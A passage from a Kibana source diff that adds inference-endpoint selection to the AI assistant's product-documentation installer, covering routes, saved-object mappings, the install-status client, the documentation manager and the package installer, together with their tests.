+85,33 @@ export const registerInstallationRoutes = ({ async (ctx, req, res) => { const { documentationManager } = getServices(); + const inferenceId = req.body?.inferenceId; + await documentationManager.install({ request: req, force: false, wait: true, + inferenceId, }); // check status after installation in case of failure - const { status } = await documentationManager.getStatus(); + const { status, installStatus } = await documentationManager.getStatus({ + inferenceId, + }); + let failureReason = null; + if (status === 'error' && installStatus) { + failureReason = Object.values(installStatus) + .filter( + (product: ProductInstallState) => product.status === 'error' && product.failureReason + ) + .map((product: ProductInstallState) => product.failureReason) + .join('\n'); + } return res.ok({ body: { installed: status === 'installed', + ...(failureReason ? { failureReason } : {}), }, }); } @@ -88,7 +120,11 @@ export const registerInstallationRoutes = ({ router.post( { path: UNINSTALL_ALL_API_PATH, - validate: false, + validate: { + body: schema.object({ + inferenceId: schema.string({ defaultValue: defaultInferenceEndpoints.ELSER }), + }), + }, options: { access: 'internal', }, @@ -104,6 +140,7 @@ export const registerInstallationRoutes = ({ await documentationManager.uninstall({ request: req, wait: true, + inferenceId: req.body?.inferenceId, }); return res.ok({ diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/saved_objects/product_doc_install.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/saved_objects/product_doc_install.ts index 47cf7eb50cdd1..c18add6994ae1 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/saved_objects/product_doc_install.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/saved_objects/product_doc_install.ts @@ -7,6 +7,7 @@ import type { SavedObjectsType } from '@kbn/core/server'; import type { ProductName } from '@kbn/product-doc-common'; +import type { SavedObjectsModelVersion } from '@kbn/core-saved-objects-server'; import { productDocInstallStatusSavedObjectTypeName } from '../../common/consts'; import type { InstallationStatus } from '../../common/install_status'; @@ -22,7 +23,18 @@ export interface ProductDocInstallStatusAttributes { last_installation_date?: number; last_installation_failure_reason?: string; index_name?: string; + inference_id?: string; } +const modelVersion1: SavedObjectsModelVersion = { + changes: [ + { + type: 'mappings_addition', + addedMappings: { + inference_id: { type: 'keyword' }, + }, + }, + ], +}; export const productDocInstallStatusSavedObjectType: SavedObjectsType = { @@ -37,10 +49,11 @@ export const productDocInstallStatusSavedObjectType: SavedObjectsType => { return { id: attrs.product_name, @@ -24,10 +26,12 @@ const createObj = (attrs: TypeAttributes): SavedObjectsFindResult { let soClient: ReturnType; let service: ProductDocInstallClient; + let log: Logger; beforeEach(() => { soClient = savedObjectsClientMock.create(); - service = new ProductDocInstallClient({ soClient }); + log = loggingSystemMock.createLogger(); + service = new ProductDocInstallClient({ soClient, log }); }); describe('getInstallationStatus', () => { @@ -50,7 +54,7 @@ describe('ProductDocInstallClient', () => { page: 1, }); - const installStatus = await service.getInstallationStatus(); + const installStatus = await service.getInstallationStatus({ inferenceId }); expect(Object.keys(installStatus).sort()).toEqual(Object.keys(DocumentationProduct).sort()); expect(installStatus.kibana).toEqual({ diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_install_status/product_doc_install_service.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_install_status/product_doc_install_service.ts index 24625ebc51586..8572e12352eea 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_install_status/product_doc_install_service.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_install_status/product_doc_install_service.ts @@ -8,74 +8,130 @@ import type { SavedObjectsClientContract } from '@kbn/core/server'; import { SavedObjectsErrorHelpers } from '@kbn/core-saved-objects-server'; import { ProductName, DocumentationProduct } from '@kbn/product-doc-common'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; +import type { Logger } from '@kbn/logging'; +import { isImpliedDefaultElserInferenceId } from '@kbn/product-doc-common/src/is_default_inference_endpoint'; import type { ProductInstallState } from '../../../common/install_status'; import { productDocInstallStatusSavedObjectTypeName as typeName } from '../../../common/consts'; import type { ProductDocInstallStatusAttributes as TypeAttributes } from '../../saved_objects'; export class ProductDocInstallClient { private soClient: SavedObjectsClientContract; + private log: Logger; - constructor({ soClient }: { soClient: SavedObjectsClientContract }) { + constructor({ soClient, log }: { soClient: SavedObjectsClientContract; log: Logger }) { this.soClient = soClient; + this.log = log; } - async getInstallationStatus(): Promise> { - const response = await this.soClient.find({ + async getPreviouslyInstalledInferenceIds(): Promise { + const query = { type: typeName, perPage: 100, - }); + }; + const response = await this.soClient.find(query); + const inferenceIds = new Set( + response?.saved_objects.map( + (so) => so.attributes?.inference_id ?? defaultInferenceEndpoints.ELSER + ) + ); + return Array.from(inferenceIds); + } + async getInstallationStatus({ + inferenceId, + }: { + inferenceId: string; + }): Promise> { + const query = { + type: typeName, + perPage: 100, + }; const installStatus = Object.values(DocumentationProduct).reduce((memo, product) => { memo[product] = { status: 'uninstalled' }; return memo; }, {} as Record); + try { + const response = await this.soClient.find(query); + const savedObjects = isImpliedDefaultElserInferenceId(inferenceId) + ? response?.saved_objects.filter((so) => + isImpliedDefaultElserInferenceId(so.attributes.inference_id) + ) + : response?.saved_objects.filter((so) => so.attributes.inference_id === inferenceId); - response.saved_objects.forEach(({ attributes }) => { - installStatus[attributes.product_name as ProductName] = { - status: attributes.installation_status, - version: attributes.product_version, - }; - }); + savedObjects?.forEach(({ attributes }) => { + installStatus[attributes.product_name as ProductName] = { + status: attributes.installation_status, + version: attributes.product_version, + ...(attributes.last_installation_failure_reason + ? { failureReason: attributes.last_installation_failure_reason } + : {}), + }; + }); - return installStatus; + return installStatus; + } catch (error) { + this.log.error( + `An error occurred getting installation status saved object for inferenceId [${inferenceId}] + Query: ${JSON.stringify(query, null, 2)}`, + error + ); + return installStatus; + } } - async setInstallationStarted(fields: { productName: ProductName; productVersion: string }) { - const { productName, productVersion } = fields; - const objectId = getObjectIdFromProductName(productName); + async setInstallationStarted(fields: { + productName: ProductName; + productVersion: string; + inferenceId: string | undefined; + }) { + const { productName, productVersion, inferenceId } = fields; + const objectId = getObjectIdFromProductName(productName, inferenceId); const attributes = { product_name: productName, product_version: productVersion, installation_status: 'installing' as const, last_installation_failure_reason: '', + inference_id: inferenceId, }; await this.soClient.update(typeName, objectId, attributes, { upsert: attributes, }); } - async setInstallationSuccessful(productName: ProductName, indexName: string) { - const objectId = getObjectIdFromProductName(productName); + async setInstallationSuccessful( + productName: ProductName, + indexName: string, + inferenceId: string | undefined + ) { + const objectId = getObjectIdFromProductName(productName, inferenceId); await this.soClient.update(typeName, objectId, { installation_status: 'installed', index_name: indexName, + inference_id: inferenceId, }); } - async setInstallationFailed(productName: ProductName, failureReason: string) { - const objectId = getObjectIdFromProductName(productName); + async setInstallationFailed( + productName: ProductName, + failureReason: string, + inferenceId: string | undefined + ) { + const objectId = getObjectIdFromProductName(productName, inferenceId); await this.soClient.update(typeName, objectId, { installation_status: 'error', last_installation_failure_reason: failureReason, + inference_id: inferenceId, }); } - async setUninstalled(productName: ProductName) { - const objectId = getObjectIdFromProductName(productName); + async setUninstalled(productName: ProductName, inferenceId: string | undefined) { + const objectId = getObjectIdFromProductName(productName, inferenceId); try { await this.soClient.update(typeName, objectId, { installation_status: 'uninstalled', last_installation_failure_reason: '', + inference_id: inferenceId, }); } catch (e) { if (!SavedObjectsErrorHelpers.isNotFoundError(e)) { @@ -85,5 +141,7 @@ export class ProductDocInstallClient { } } -const getObjectIdFromProductName = (productName: ProductName) => - `kb-product-doc-${productName}-status`.toLowerCase(); +const getObjectIdFromProductName = (productName: ProductName, inferenceId: string | undefined) => { + const inferenceIdPart = !isImpliedDefaultElserInferenceId(inferenceId) ? `-${inferenceId}` : ''; + return `kb-product-doc-${productName}${inferenceIdPart}-status`.toLowerCase(); +}; diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_install_status/service.mock.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_install_status/service.mock.ts index c2a0adbac9f29..91497404f8bf4 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_install_status/service.mock.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_install_status/service.mock.ts @@ -16,6 +16,7 @@ const createInstallClientMock = (): InstallClientMock => { setInstallationSuccessful: jest.fn(), setInstallationFailed: jest.fn(), setUninstalled: jest.fn(), + getPreviouslyInstalledInferenceIds: jest.fn().mockResolvedValue([]), } as unknown as InstallClientMock; }; diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_manager/doc_manager.test.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_manager/doc_manager.test.ts index 0be913ee6dd71..eed325f327259 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_manager/doc_manager.test.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_manager/doc_manager.test.ts @@ -20,6 +20,7 @@ import { getTaskStatus, waitUntilTaskCompleted, } from '../../tasks'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; const scheduleInstallAllTaskMock = scheduleInstallAllTask as jest.MockedFn< typeof scheduleInstallAllTask @@ -35,6 +36,7 @@ const waitUntilTaskCompletedMock = waitUntilTaskCompleted as jest.MockedFn< >; const getTaskStatusMock = getTaskStatus as jest.MockedFn; +const DEFAULT_INFERENCE_ID = defaultInferenceEndpoints.MULTILINGUAL_E5_SMALL; describe('DocumentationManager', () => { let logger: MockedLogger; let taskManager: ReturnType; @@ -85,19 +87,20 @@ describe('DocumentationManager', () => { }); it('calls `scheduleInstallAllTask`', async () => { - await docManager.install({}); + await docManager.install({ inferenceId: DEFAULT_INFERENCE_ID }); expect(scheduleInstallAllTaskMock).toHaveBeenCalledTimes(1); expect(scheduleInstallAllTaskMock).toHaveBeenCalledWith({ taskManager, logger, + inferenceId: DEFAULT_INFERENCE_ID, }); expect(waitUntilTaskCompletedMock).not.toHaveBeenCalled(); }); it('calls waitUntilTaskCompleted if wait=true', async () => { - await docManager.install({ wait: true }); + await docManager.install({ wait: true, inferenceId: DEFAULT_INFERENCE_ID }); expect(scheduleInstallAllTaskMock).toHaveBeenCalledTimes(1); expect(waitUntilTaskCompletedMock).toHaveBeenCalledTimes(1); @@ -108,7 +111,7 @@ describe('DocumentationManager', () => { kibana: { status: 'installed' }, } as Awaited>); - await docManager.install({ wait: true }); + await docManager.install({ wait: true, inferenceId: DEFAULT_INFERENCE_ID }); expect(scheduleInstallAllTaskMock).not.toHaveBeenCalled(); expect(waitUntilTaskCompletedMock).not.toHaveBeenCalled(); @@ -120,7 +123,12 @@ describe('DocumentationManager', () => { const auditLog = auditService.withoutRequest; auditService.asScoped = jest.fn(() => auditLog); - await docManager.install({ force: false, wait: false, request }); + await docManager.install({ + force: false, + wait: false, + request, + inferenceId: DEFAULT_INFERENCE_ID, + }); expect(auditLog.log).toHaveBeenCalledTimes(1); expect(auditLog.log).toHaveBeenCalledWith({ @@ -140,7 +148,7 @@ describe('DocumentationManager', () => { ); await expect( - docManager.install({ force: false, wait: false }) + docManager.install({ force: false, wait: false, inferenceId: DEFAULT_INFERENCE_ID }) ).rejects.toThrowErrorMatchingInlineSnapshot( `"Elastic documentation requires an enterprise license"` ); @@ -157,19 +165,20 @@ describe('DocumentationManager', () => { }); it('calls `scheduleEnsureUpToDateTask`', async () => { - await docManager.update({}); + await docManager.update({ inferenceId: DEFAULT_INFERENCE_ID }); expect(scheduleEnsureUpToDateTaskMock).toHaveBeenCalledTimes(1); expect(scheduleEnsureUpToDateTaskMock).toHaveBeenCalledWith({ taskManager, logger, + inferenceId: DEFAULT_INFERENCE_ID, }); expect(waitUntilTaskCompletedMock).not.toHaveBeenCalled(); }); it('calls waitUntilTaskCompleted if wait=true', async () => { - await docManager.update({ wait: true }); + await docManager.update({ wait: true, inferenceId: DEFAULT_INFERENCE_ID }); expect(scheduleEnsureUpToDateTaskMock).toHaveBeenCalledTimes(1); expect(waitUntilTaskCompletedMock).toHaveBeenCalledTimes(1); @@ -181,7 +190,7 @@ describe('DocumentationManager', () => { const auditLog = auditService.withoutRequest; auditService.asScoped = jest.fn(() => auditLog); - await docManager.update({ wait: false, request }); + await docManager.update({ wait: false, request, inferenceId: DEFAULT_INFERENCE_ID }); expect(auditLog.log).toHaveBeenCalledTimes(1); expect(auditLog.log).toHaveBeenCalledWith({ @@ -206,19 +215,20 @@ describe('DocumentationManager', () => { }); it('calls `scheduleUninstallAllTask`', async () => { - await docManager.uninstall({}); + await docManager.uninstall({ inferenceId: DEFAULT_INFERENCE_ID }); expect(scheduleUninstallAllTaskMock).toHaveBeenCalledTimes(1); expect(scheduleUninstallAllTaskMock).toHaveBeenCalledWith({ taskManager, logger, + inferenceId: DEFAULT_INFERENCE_ID, }); expect(waitUntilTaskCompletedMock).not.toHaveBeenCalled(); }); it('calls waitUntilTaskCompleted if wait=true', async () => { - await docManager.uninstall({ wait: true }); + await docManager.uninstall({ wait: true, inferenceId: DEFAULT_INFERENCE_ID }); expect(scheduleUninstallAllTaskMock).toHaveBeenCalledTimes(1); expect(waitUntilTaskCompletedMock).toHaveBeenCalledTimes(1); @@ -230,7 +240,7 @@ describe('DocumentationManager', () => { const auditLog = auditService.withoutRequest; auditService.asScoped = jest.fn(() => auditLog); - await docManager.uninstall({ wait: false, request }); + await docManager.uninstall({ wait: false, request, inferenceId: DEFAULT_INFERENCE_ID }); expect(auditLog.log).toHaveBeenCalledTimes(1); expect(auditLog.log).toHaveBeenCalledWith({ diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_manager/doc_manager.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_manager/doc_manager.ts index 40dc53e19ceea..8d7baefdd4364 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_manager/doc_manager.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_manager/doc_manager.ts @@ -9,6 +9,8 @@ import type { Logger } from '@kbn/logging'; import type { CoreAuditService } from '@kbn/core/server'; import { type TaskManagerStartContract, TaskStatus } from '@kbn/task-manager-plugin/server'; import type { LicensingPluginStart } from '@kbn/licensing-plugin/server'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; +import { isImpliedDefaultElserInferenceId } from '@kbn/product-doc-common/src/is_default_inference_endpoint'; import type { InstallationStatus } from '../../../common/install_status'; import type { ProductDocInstallClient } from '../doc_install_status'; import { @@ -27,6 +29,7 @@ import type { DocUninstallOptions, DocUpdateOptions, } from './types'; +import { INSTALL_ALL_TASK_ID_MULTILINGUAL } from '../../tasks/install_all'; const TEN_MIN_IN_MS = 10 * 60 * 1000; @@ -62,10 +65,11 @@ export class DocumentationManager implements DocumentationManagerAPI { this.auditService = auditService; } - async install(options: DocInstallOptions = {}): Promise { + async install(options: DocInstallOptions): Promise { const { request, force = false, wait = false } = options; + const inferenceId = options.inferenceId ?? defaultInferenceEndpoints.ELSER; - const { status } = await this.getStatus(); + const { status } = await this.getStatus({ inferenceId }); if (!force && status === 'installed') { return; } @@ -78,11 +82,14 @@ export class DocumentationManager implements DocumentationManagerAPI { const taskId = await scheduleInstallAllTask({ taskManager: this.taskManager, logger: this.logger, + inferenceId, }); if (request) { this.auditService.asScoped(request).log({ - message: `User is requesting installation of product documentation for AI Assistants. Task ID=[${taskId}]`, + message: + `User is requesting installation of product documentation for AI Assistants. Task ID=[${taskId}]` + + (inferenceId ? `| Inference ID=[${inferenceId}]` : ''), event: { action: 'product_documentation_create', category: ['database'], @@ -101,17 +108,20 @@ export class DocumentationManager implements DocumentationManagerAPI { } } - async update(options: DocUpdateOptions = {}): Promise { - const { request, wait = false } = options; + async update(options: DocUpdateOptions): Promise { + const { request, wait = false, inferenceId } = options; const taskId = await scheduleEnsureUpToDateTask({ taskManager: this.taskManager, logger: this.logger, + inferenceId, }); if (request) { this.auditService.asScoped(request).log({ - message: `User is requesting update of product documentation for AI Assistants. Task ID=[${taskId}]`, + message: + `User is requesting update of product documentation for AI Assistants. Task ID=[${taskId}]` + + (inferenceId ? `| Inference ID=[${inferenceId}]` : ''), event: { action: 'product_documentation_update', category: ['database'], @@ -130,12 +140,13 @@ export class DocumentationManager implements DocumentationManagerAPI { } } - async uninstall(options: DocUninstallOptions = {}): Promise { - const { request, wait = false } = options; + async uninstall(options: DocUninstallOptions): Promise { + const { request, wait = false, inferenceId } = options; const taskId = await scheduleUninstallAllTask({ taskManager: this.taskManager, logger: this.logger, + inferenceId, }); if (request) { @@ -159,10 +170,16 @@ export class DocumentationManager implements DocumentationManagerAPI { } } - async getStatus(): Promise { + /** + * @param inferenceId - The inference ID to get the status for. If not provided, the default ELSER inference ID will be used. + */ + async getStatus({ inferenceId }: { inferenceId: string }): Promise { + const taskId = isImpliedDefaultElserInferenceId(inferenceId) + ? INSTALL_ALL_TASK_ID + : INSTALL_ALL_TASK_ID_MULTILINGUAL; const taskStatus = await getTaskStatus({ taskManager: this.taskManager, - taskId: INSTALL_ALL_TASK_ID, + taskId, }); if (taskStatus !== 'not_scheduled') { const status = convertTaskStatus(taskStatus); @@ -171,9 +188,9 @@ export class DocumentationManager implements DocumentationManagerAPI { } } - const installStatus = await this.docInstallClient.getInstallationStatus(); + const installStatus = await this.docInstallClient.getInstallationStatus({ inferenceId }); const overallStatus = getOverallStatus(Object.values(installStatus).map((v) => v.status)); - return { status: overallStatus }; + return { status: overallStatus, installStatus }; } } diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_manager/types.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_manager/types.ts index 5a954a5ffb0fd..82e17f05e64bc 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_manager/types.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/doc_manager/types.ts @@ -6,7 +6,7 @@ */ import type { KibanaRequest } from '@kbn/core/server'; -import type { InstallationStatus } from '../../../common/install_status'; +import type { InstallationStatus, ProductInstallState } from '../../../common/install_status'; /** * APIs to manage the product documentation. @@ -30,8 +30,9 @@ export interface DocumentationManagerAPI { uninstall(options?: DocUninstallOptions): Promise; /** * Returns the overall installation status of the documentation. + * @param inferenceId - The inference ID to get the status for. */ - getStatus(): Promise; + getStatus({ inferenceId }: { inferenceId: string }): Promise; } /** @@ -39,6 +40,7 @@ export interface DocumentationManagerAPI { */ export interface DocGetStatusResponse { status: InstallationStatus; + installStatus?: Record; } /** @@ -61,6 +63,10 @@ export interface DocInstallOptions { * Defaults to `false` */ wait?: boolean; + /** + * If provided, the docs will be installed with the model indicated by Inference ID + */ + inferenceId: string; } /** @@ -78,6 +84,10 @@ export interface DocUninstallOptions { * Defaults to `false` */ wait?: boolean; + /** + * If provided, the docs will be uninstalled with the model indicated by Inference ID + */ + inferenceId: string; } /** @@ -95,4 +105,8 @@ export interface DocUpdateOptions { * Defaults to `false` */ wait?: boolean; + /** + * If provided, the docs will be updated with the model indicated by Inference ID + */ + inferenceId: string; } diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/package_installer.test.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/package_installer.test.ts index ff8e2fd91dea3..7903f6bb613a7 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/package_installer.test.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/package_installer.test.ts @@ -16,7 +16,7 @@ import { fetchArtifactVersionsMock, ensureDefaultElserDeployedMock, } from './package_installer.test.mocks'; - +import { cloneDeep } from 'lodash'; import { getArtifactName, getProductDocIndexName, @@ -29,6 +29,7 @@ import { installClientMock } from '../doc_install_status/service.mock'; import type { ProductInstallState } from '../../../common/install_status'; import { PackageInstaller } from './package_installer'; import { defaultInferenceEndpoints } from '@kbn/inference-common'; +import { InferenceTaskType } from '@elastic/elasticsearch/lib/api/types'; const artifactsFolder = '/lost'; const artifactRepositoryUrl = 'https://repository.com'; @@ -86,7 +87,15 @@ describe('PackageInstaller', () => { }; openZipArchiveMock.mockResolvedValue(zipArchive); - const mappings = Symbol('mappings'); + const mappings = { + properties: { + semantic: { + inference_id: '.elser', + type: 'semantic_text', + model_settings: {}, + }, + }, + }; loadMappingFileMock.mockResolvedValue(mappings); await packageInstaller.installPackage({ productName: 'kibana', productVersion: '8.16' }); @@ -114,10 +123,11 @@ describe('PackageInstaller', () => { expect(loadManifestFileMock).toHaveBeenCalledWith(zipArchive); expect(createIndexMock).toHaveBeenCalledTimes(1); + const modifiedMappings = cloneDeep(mappings); + modifiedMappings.properties.semantic.inference_id = defaultInferenceEndpoints.ELSER; expect(createIndexMock).toHaveBeenCalledWith({ - elserInferenceId: defaultInferenceEndpoints.ELSER, indexName, - mappings, + mappings: modifiedMappings, manifestVersion: TEST_FORMAT_VERSION, esClient, log: logger, @@ -125,16 +135,20 @@ describe('PackageInstaller', () => { expect(populateIndexMock).toHaveBeenCalledTimes(1); expect(populateIndexMock).toHaveBeenCalledWith({ - elserInferenceId: defaultInferenceEndpoints.ELSER, indexName, archive: zipArchive, manifestVersion: TEST_FORMAT_VERSION, + inferenceId: defaultInferenceEndpoints.ELSER, esClient, log: logger, }); expect(productDocClient.setInstallationSuccessful).toHaveBeenCalledTimes(1); - expect(productDocClient.setInstallationSuccessful).toHaveBeenCalledWith('kibana', indexName); + expect(productDocClient.setInstallationSuccessful).toHaveBeenCalledWith( + 'kibana', + indexName, + defaultInferenceEndpoints.ELSER + ); expect(zipArchive.close).toHaveBeenCalledTimes(1); @@ -166,7 +180,16 @@ describe('PackageInstaller', () => { }); await expect( - packageInstaller.installPackage({ productName: 'kibana', productVersion: '8.16' }) + packageInstaller.installPackage({ + productName: 'kibana', + productVersion: '8.16', + customInference: { + inference_id: defaultInferenceEndpoints.ELSER, + task_type: 'text_embedding' as InferenceTaskType, + service: 'elser', + service_settings: {}, + }, + }) ).rejects.toThrowError(); expect(productDocClient.setInstallationSuccessful).not.toHaveBeenCalled(); @@ -181,7 +204,8 @@ describe('PackageInstaller', () => { expect(productDocClient.setInstallationFailed).toHaveBeenCalledTimes(1); expect(productDocClient.setInstallationFailed).toHaveBeenCalledWith( 'kibana', - 'something bad' + 'something bad', + defaultInferenceEndpoints.ELSER ); }); }); @@ -195,7 +219,7 @@ describe('PackageInstaller', () => { elasticsearch: ['8.15'], }); - await packageInstaller.installAll({}); + await packageInstaller.installAll({ inferenceId: defaultInferenceEndpoints.ELSER }); expect(packageInstaller.installPackage).toHaveBeenCalledTimes(2); @@ -226,7 +250,7 @@ describe('PackageInstaller', () => { jest.spyOn(packageInstaller, 'installPackage'); - await packageInstaller.ensureUpToDate({}); + await packageInstaller.ensureUpToDate({ inferenceId: defaultInferenceEndpoints.ELSER }); expect(packageInstaller.installPackage).toHaveBeenCalledTimes(1); expect(packageInstaller.installPackage).toHaveBeenCalledWith({ @@ -249,7 +273,7 @@ describe('PackageInstaller', () => { ); expect(productDocClient.setUninstalled).toHaveBeenCalledTimes(1); - expect(productDocClient.setUninstalled).toHaveBeenCalledWith('kibana'); + expect(productDocClient.setUninstalled).toHaveBeenCalledWith('kibana', undefined); }); }); diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/package_installer.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/package_installer.ts index 2aed2063bd95a..e9f23f30626c1 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/package_installer.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/services/package_installer/package_installer.ts @@ -14,6 +14,9 @@ import { type ProductName, } from '@kbn/product-doc-common'; import { defaultInferenceEndpoints } from '@kbn/inference-common'; +import { cloneDeep } from 'lodash'; +import type { InferenceInferenceEndpointInfo } from '@elastic/elasticsearch/lib/api/types'; +import { i18n } from '@kbn/i18n'; import type { ProductDocInstallClient } from '../doc_install_status'; import { downloadToDisk, @@ -22,6 +25,7 @@ import { loadManifestFile, ensureDefaultElserDeployed, type ZipArchive, + ensureInferenceDeployed, } from './utils'; import { majorMinor, latestVersion } from './utils/semver'; import { @@ -30,6 +34,7 @@ import { createIndex, populateIndex, } from './steps'; +import { overrideInferenceSettings } from './steps/create_index'; interface PackageInstallerOpts { artifactsFolder: string; @@ -48,7 +53,7 @@ export class PackageInstaller { private readonly productDocClient: ProductDocInstallClient; private readonly artifactRepositoryUrl: string; private readonly currentVersion: string; - private readonly elserInferenceId?: string; + private readonly elserInferenceId: string; constructor({ artifactsFolder, @@ -68,16 +73,29 @@ export class PackageInstaller { this.elserInferenceId = elserInferenceId || defaultInferenceEndpoints.ELSER; } + private async getInferenceInfo(inferenceId?: string) { + if (!inferenceId) { + return; + } + const inferenceEndpoints = await this.esClient.inference.get({ + inference_id: inferenceId, + }); + return Array.isArray(inferenceEndpoints.endpoints) && inferenceEndpoints.endpoints.length > 0 + ? inferenceEndpoints.endpoints[0] + : undefined; + } /** * Make sure that the currently installed doc packages are up to date. * Will not upgrade products that are not already installed */ - async ensureUpToDate({}: {}) { + async ensureUpToDate(params: { inferenceId: string }) { + const { inferenceId } = params; + const inferenceInfo = await this.getInferenceInfo(inferenceId); const [repositoryVersions, installStatuses] = await Promise.all([ fetchArtifactVersions({ artifactRepositoryUrl: this.artifactRepositoryUrl, }), - this.productDocClient.getInstallationStatus(), + this.productDocClient.getInstallationStatus({ inferenceId }), ]); const toUpdate: Array<{ @@ -105,15 +123,19 @@ export class PackageInstaller { await this.installPackage({ productName, productVersion, + customInference: inferenceInfo, }); } } - async installAll({}: {}) { + async installAll(params: { inferenceId?: string } = {}) { + const { inferenceId } = params; const repositoryVersions = await fetchArtifactVersions({ artifactRepositoryUrl: this.artifactRepositoryUrl, }); const allProducts = Object.values(DocumentationProduct) as ProductName[]; + const inferenceInfo = await this.getInferenceInfo(inferenceId); + for (const productName of allProducts) { const availableVersions = repositoryVersions[productName]; if (!availableVersions || !availableVersions.length) { @@ -125,6 +147,7 @@ export class PackageInstaller { await this.installPackage({ productName, productVersion: selectedVersion, + customInference: inferenceInfo, }); } } @@ -132,32 +155,53 @@ export class PackageInstaller { async installPackage({ productName, productVersion, + customInference, }: { productName: ProductName; productVersion: string; + customInference?: InferenceInferenceEndpointInfo; }) { + const inferenceId = customInference?.inference_id ?? this.elserInferenceId; + this.log.info( - `Starting installing documentation for product [${productName}] and version [${productVersion}]` + `Starting installing documentation for product [${productName}] and version [${productVersion}] with inference ID [${inferenceId}]` ); productVersion = majorMinor(productVersion); - await this.uninstallPackage({ productName }); + await this.uninstallPackage({ productName, inferenceId }); let zipArchive: ZipArchive | undefined; try { await this.productDocClient.setInstallationStarted({ productName, productVersion, + inferenceId, }); - if (this.elserInferenceId === defaultInferenceEndpoints.ELSER) { + if (customInference && customInference?.inference_id !== this.elserInferenceId) { + if (customInference?.task_type !== 'text_embedding') { + throw new Error( + `Inference [${inferenceId}]'s task type ${customInference?.task_type} is not supported. Please use a model with task type 'text_embedding'.` + ); + } + await ensureInferenceDeployed({ + client: this.esClient, + inferenceId, + }); + } + + if (!customInference || customInference?.inference_id === this.elserInferenceId) { await ensureDefaultElserDeployed({ client: this.esClient, }); } - const artifactFileName = getArtifactName({ productName, productVersion }); + const artifactFileName = getArtifactName({ + productName, + productVersion, + inferenceId: customInference?.inference_id ?? this.elserInferenceId, + }); const artifactUrl = `${this.artifactRepositoryUrl}/${artifactFileName}`; const artifactPath = `${this.artifactsFolder}/${artifactFileName}`; @@ -165,7 +209,6 @@ export class PackageInstaller { await downloadToDisk(artifactUrl, artifactPath); zipArchive = await openZipArchive(artifactPath); - validateArtifactArchive(zipArchive); const [manifest, mappings] = await Promise.all([ @@ -174,14 +217,16 @@ export class PackageInstaller { ]); const manifestVersion = manifest.formatVersion; - const indexName = getProductDocIndexName(productName); + const indexName = getProductDocIndexName(productName, customInference?.inference_id); + + const modifiedMappings = cloneDeep(mappings); + overrideInferenceSettings(modifiedMappings, inferenceId!); await createIndex({ indexName, - mappings, + mappings: modifiedMappings, // Mappings will be overridden by the inference ID and inference type manifestVersion, esClient: this.esClient, - elserInferenceId: this.elserInferenceId, log: this.log, }); @@ -191,27 +236,45 @@ export class PackageInstaller { archive: zipArchive, esClient: this.esClient, log: this.log, - elserInferenceId: this.elserInferenceId, + inferenceId, }); - await this.productDocClient.setInstallationSuccessful(productName, indexName); + await this.productDocClient.setInstallationSuccessful(productName, indexName, inferenceId); this.log.info( `Documentation installation successful for product [${productName}] and version [${productVersion}]` ); } catch (e) { + let message = e.message; + if (message.includes('End of central directory record signature not found.')) { + message = i18n.translate('aiInfra.productDocBase.packageInstaller.noArtifactAvailable', { + values: { + productName, + productVersion, + inferenceId, + }, + defaultMessage: + 'No documentation artifact available for product [{productName}]/[{productVersion}] for Inference ID [{inferenceId}]. Please select a different model or contact your administrator.', + }); + } this.log.error( - `Error during documentation installation of product [${productName}]/[${productVersion}] : ${e.message}` + `Error during documentation installation of product [${productName}]/[${productVersion}] : ${message}` ); - await this.productDocClient.setInstallationFailed(productName, e.message); + await this.productDocClient.setInstallationFailed(productName, message, inferenceId); throw e; } finally { zipArchive?.close(); } } - async uninstallPackage({ productName }: { productName: ProductName }) { - const indexName = getProductDocIndexName(productName); + async uninstallPackage({ + productName, + inferenceId, + }: { + productName: ProductName; + inferenceId?: string; + }) { + const indexName = getProductDocIndexName(productName, inferenceId); await this.esClient.indices.delete( { index: indexName, @@ -219,13 +282,14 @@ export class PackageInstaller { { ignore: [404] } ); - await this.productDocClient.setUninstalled(productName); + await this.productDocClient.setUninstalled(productName, inferenceId); } - async uninstallAll() { + async uninstallAll(params: { 